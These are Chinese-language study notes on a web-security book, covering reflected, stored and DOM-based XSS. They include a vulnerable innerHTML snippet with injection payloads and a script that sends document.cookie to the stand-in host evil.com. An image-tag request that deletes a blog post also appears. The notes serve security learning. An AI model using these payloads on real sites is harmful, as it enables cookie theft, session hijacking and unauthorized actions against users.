1. 程式人生 > >讀書筆記-白帽子講web安全

讀書筆記-白帽子講web安全

xss:

1,反射型xss

把使用者輸入資料“反射”給瀏覽器

2,儲存型xss

把使用者資料“儲存”在伺服器端

3,基於DOM的xss

效果上也是反射型,

<script>

function test() {     var str = document.getElementById("text").value;     document.getElementById("t").innerHTML = "<a href=' "+str+" ' >testLink</a>"; }

</script>

<div id="t" ></div> <input type="text" id="text" value=" " /> <input type="button" id="s" value="write" onclick="test()" />

(1) ' onclick=alert(/xss/) //

<a href=' ' onclick=alert(/xss/) //  ' >testLink</a>

(2)  '><img src=# onerror=alert(/xss2/) /><'

<a href='  '>  <img src=# onerror=alert(/xss2/) />  <'  ' >  testLink </a>

xss payload

完成各種具體功能的惡意指令碼,實際是javascript指令碼(或者flash,客戶端指令碼)。

比如讀取cookie物件(cookie劫持)

(1)載入遠端指令碼:http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script> 避免直接在url中寫

(2)evil.js中:

var img = document.createElement("img");

img.src="http://www.evil.com/log?"+escape(document.cookie):

document.body.appendChild(img);

隱藏圖片,document.cookie物件作為引數傳到遠端伺服器.

httponly可以防止cookie劫持

xss刪除文章

正常連結:http://blog.xxx.com/manage/entry.do?m=delete&id=156713012

插入圖片發起get請求

var img=document.createElement("img");

img.src="http://blog.xxx.com/manage/entry.do?m=delete&id=156713012";

document.body.appendChild(img);

3.2.2.2xss釣魚

3.2.2.3識別使用者瀏覽器

xss讀取瀏覽器的userAgent物件

alert(navigator.userAgent);

3.2.2.4識別使用者安裝的軟體

3.2.2.5css history hack

3.2.2.6獲取使用者的真實IP地址

3.2.3xss攻擊平臺

attack api

BeEF

xss-proxy

3.2.4xss worm

3.2.5工具

firebug

ie 8 developer tools

fiddler

httpwatch

3.2.6xss構造技巧

3.2.6.1利用字元編碼

3.2.6.2繞過長度限制

3.2.6.3使用<base>標籤